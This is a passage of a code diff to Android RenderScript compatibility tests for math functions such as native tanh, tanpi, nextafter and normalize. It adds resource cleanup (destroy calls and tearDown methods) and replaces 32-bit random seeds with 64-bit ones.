-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x62e11667l, -314, 314);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x29414a1662e11667l, -314, 314);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeTanHalf4Half4(inV, out);
             verifyResultsNativeTanHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalf4Half4: " + e.toString());
         }
@@ -542,9 +571,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanHalf4Half4(inV, out);
             verifyResultsNativeTanHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.java
index 6b2348b..a0a6783 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeTanhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeTanhFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xecfeca2fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2aa8d7f4ecfeca2fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeTanhFloatFloat(inV, out);
             verifyResultsNativeTanhFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhFloatFloat(inV, out);
             verifyResultsNativeTanhFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeTanhFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x80bc8e5bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1d5a7d4a80bc8e5bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeTanhFloat2Float2(inV, out);
             verifyResultsNativeTanhFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhFloat2Float2(inV, out);
             verifyResultsNativeTanhFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeTanhFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x76d7af39l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1d5c466576d7af39l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeTanhFloat3Float3(inV, out);
             verifyResultsNativeTanhFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhFloat3Float3(inV, out);
             verifyResultsNativeTanhFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeTanhFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6cf2d017l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1d5e0f806cf2d017l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeTanhFloat4Float4(inV, out);
             verifyResultsNativeTanhFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhFloat4Float4(inV, out);
             verifyResultsNativeTanhFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeTanhHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x51a54c91l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x731042f51a54c91l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeTanhHalfHalf(inV, out);
             verifyResultsNativeTanhHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhHalfHalf(inV, out);
             verifyResultsNativeTanhHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeTanhHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5a1d116bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xf10649a85a1d116bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeTanhHalf2Half2(inV, out);
             verifyResultsNativeTanhHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhHalf2Half2(inV, out);
             verifyResultsNativeTanhHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeTanhHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb924d65fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf1065449b924d65fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeTanhHalf3Half3(inV, out);
             verifyResultsNativeTanhHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhHalf3Half3(inV, out);
             verifyResultsNativeTanhHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeTanhHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x182c9b53l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf1065eeb182c9b53l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeTanhHalf4Half4(inV, out);
             verifyResultsNativeTanhHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanhHalf4Half4(inV, out);
             verifyResultsNativeTanhHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanhHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanhHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.java
index 4104851..41af605 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeTanpi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeTanpiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeTanpiFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd39357f6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x88f565b6d39357f6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeTanpiFloatFloat(inV, out);
             verifyResultsNativeTanpiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiFloatFloat(inV, out);
             verifyResultsNativeTanpiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeTanpiFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xe7b090aal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x34465ac4e7b090aal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeTanpiFloat2Float2(inV, out);
             verifyResultsNativeTanpiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiFloat2Float2(inV, out);
             verifyResultsNativeTanpiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeTanpiFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xddcbb188l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x344823dfddcbb188l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeTanpiFloat3Float3(inV, out);
             verifyResultsNativeTanpiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiFloat3Float3(inV, out);
             verifyResultsNativeTanpiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeTanpiFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd3e6d266l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3449ecfad3e6d266l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeTanpiFloat4Float4(inV, out);
             verifyResultsNativeTanpiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiFloat4Float4(inV, out);
             verifyResultsNativeTanpiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -326,11 +345,12 @@
     }
 
     private void checkNativeTanpiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa1618990l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x2ba7d9c1a1618990l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeTanpiHalfHalf(inV, out);
             verifyResultsNativeTanpiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalfHalf: " + e.toString());
         }
@@ -338,9 +358,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiHalfHalf(inV, out);
             verifyResultsNativeTanpiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -394,11 +416,12 @@
     }
 
     private void checkNativeTanpiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x40b19f32l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4f52d76a40b19f32l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeTanpiHalf2Half2(inV, out);
             verifyResultsNativeTanpiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalf2Half2: " + e.toString());
         }
@@ -406,9 +429,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiHalf2Half2(inV, out);
             verifyResultsNativeTanpiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -462,11 +487,12 @@
     }
 
     private void checkNativeTanpiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9fb96426l, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4f52e20b9fb96426l, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeTanpiHalf3Half3(inV, out);
             verifyResultsNativeTanpiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalf3Half3: " + e.toString());
         }
@@ -474,9 +500,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiHalf3Half3(inV, out);
             verifyResultsNativeTanpiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -530,11 +558,12 @@
     }
 
     private void checkNativeTanpiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfec1291al, -100, 100);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x4f52ecacfec1291al, -100, 100);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeTanpiHalf4Half4(inV, out);
             verifyResultsNativeTanpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalf4Half4: " + e.toString());
         }
@@ -542,9 +571,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeTanpiHalf4Half4(inV, out);
             verifyResultsNativeTanpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeTanpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeTanpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.java
index 596909f..073925e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNextafter.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNextafterRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inV;
         public float inTarget;
@@ -44,13 +51,14 @@
     }
 
     private void checkNextafterFloatFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xad412956l, false);
-        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xafd7c03dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xa3b02393ad412956l, false);
+        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xde8acce6afd7c03dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocInTarget(inTarget);
             script.forEach_testNextafterFloatFloatFloat(inV, out);
             verifyResultsNextafterFloatFloatFloat(inV, inTarget, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInTarget(inTarget);
             scriptRelaxed.forEach_testNextafterFloatFloatFloat(inV, out);
             verifyResultsNextafterFloatFloatFloat(inV, inTarget, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloatFloatFloat: " + e.toString());
         }
+        inV.destroy();
+        inTarget.destroy();
     }
 
     private void verifyResultsNextafterFloatFloatFloat(Allocation inV, Allocation inTarget, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkNextafterFloat2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x584a1e22l, false);
-        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf7e4d541l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x29b40e0584a1e22l, false);
+        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x68f3a41af7e4d541l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInTarget(inTarget);
             script.forEach_testNextafterFloat2Float2Float2(inV, out);
             verifyResultsNextafterFloat2Float2Float2(inV, inTarget, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInTarget(inTarget);
             scriptRelaxed.forEach_testNextafterFloat2Float2Float2(inV, out);
             verifyResultsNextafterFloat2Float2Float2(inV, inTarget, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloat2Float2Float2: " + e.toString());
         }
+        inV.destroy();
+        inTarget.destroy();
     }
 
     private void verifyResultsNextafterFloat2Float2Float2(Allocation inV, Allocation inTarget, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkNextafterFloat3Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5a281fc3l, false);
-        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe4f910dcl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x57001f005a281fc3l, false);
+        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3261a1f4e4f910dcl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInTarget(inTarget);
             script.forEach_testNextafterFloat3Float3Float3(inV, out);
             verifyResultsNextafterFloat3Float3Float3(inV, inTarget, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInTarget(inTarget);
             scriptRelaxed.forEach_testNextafterFloat3Float3Float3(inV, out);
             verifyResultsNextafterFloat3Float3Float3(inV, inTarget, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloat3Float3Float3: " + e.toString());
         }
+        inV.destroy();
+        inTarget.destroy();
     }
 
     private void verifyResultsNextafterFloat3Float3Float3(Allocation inV, Allocation inTarget, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkNextafterFloat4Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5c062164l, false);
-        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd20d4c77l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xab64fd205c062164l, false);
+        Allocation inTarget = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfbcf9fced20d4c77l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInTarget(inTarget);
             script.forEach_testNextafterFloat4Float4Float4(inV, out);
             verifyResultsNextafterFloat4Float4Float4(inV, inTarget, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInTarget(inTarget);
             scriptRelaxed.forEach_testNextafterFloat4Float4Float4(inV, out);
             verifyResultsNextafterFloat4Float4Float4(inV, inTarget, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNextafterFloat4Float4Float4: " + e.toString());
         }
+        inV.destroy();
+        inTarget.destroy();
     }
 
     private void verifyResultsNextafterFloat4Float4Float4(Allocation inV, Allocation inTarget, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.java
index 77687d5..38d22b0 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNormalize.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNormalizeRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNormalizeFloatFloat() {
